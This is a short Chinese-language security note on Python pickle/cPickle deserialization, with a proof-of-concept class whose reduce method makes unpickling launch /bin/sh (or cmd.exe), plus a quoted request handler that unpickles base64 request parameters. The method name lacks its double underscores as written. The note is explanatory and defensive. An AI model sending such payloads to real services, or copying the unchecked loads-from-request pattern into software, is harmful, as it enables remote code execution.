Python标准库在对使用Pickle/cPickle的时候有给过警告:不要用cPickle接收未经授权或者未经验证方的代码,但是很多人在使用的时候会忽略这个问题,这会出现致命漏洞,致使对方可以远程执行代码.
危险主要来源于这个reduce方法,当对pickle对象解析时,会首先调用reduce方法,reduce方法规定了该如何解析一个对象,但是这个是用户自定义的,因此在这个地方出现了执行任意代码的可能
Example:
import cPickle
import subprocess
import base64
class RunBinSh(object):
def reduce(self):
#return (subprocess.Popen, (('cmd.exe'))) for win
return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))
若对方将此对象解析, 则会执行shell.
这主要是subprocess的功劳
因为reduce要求换回一个元组, 拿第一个参数去搜索引入然后构造对象,依靠subprocess.Popen就可以执行命令
这里其实算是一个本不应该成为漏洞的漏洞,但是一旦存在危险极大,而且很多人都会忽视这个问题.如果只是使用cPickle来做对象序列化保存与读取,不接受外部数据,是没有问题的.
但是一旦接受数据会出现致命问题,像这段代码
def process_request(self, request):
“””
Setup the profiler for a profiling run and clear the SQL query log.
If this is a resort of an existing profiling run, just return
the resorted list.
"""
def unpickle(params):
stats = unpickle_stats(b64decode(params.get('stats', '')))
queries = cPickle.loads(b64decode(params.get('queries', '')))
return stats, queries</pre>
如果不采用身份验证或者来源验证,出于安全考虑是不应该采用的.
Python标准库中要特别注意Warning这种提示.
参考链接:
http://blog.nelhage.com/2011/03/exploiting-pickle/
http://drops.wooyun.org/papers/66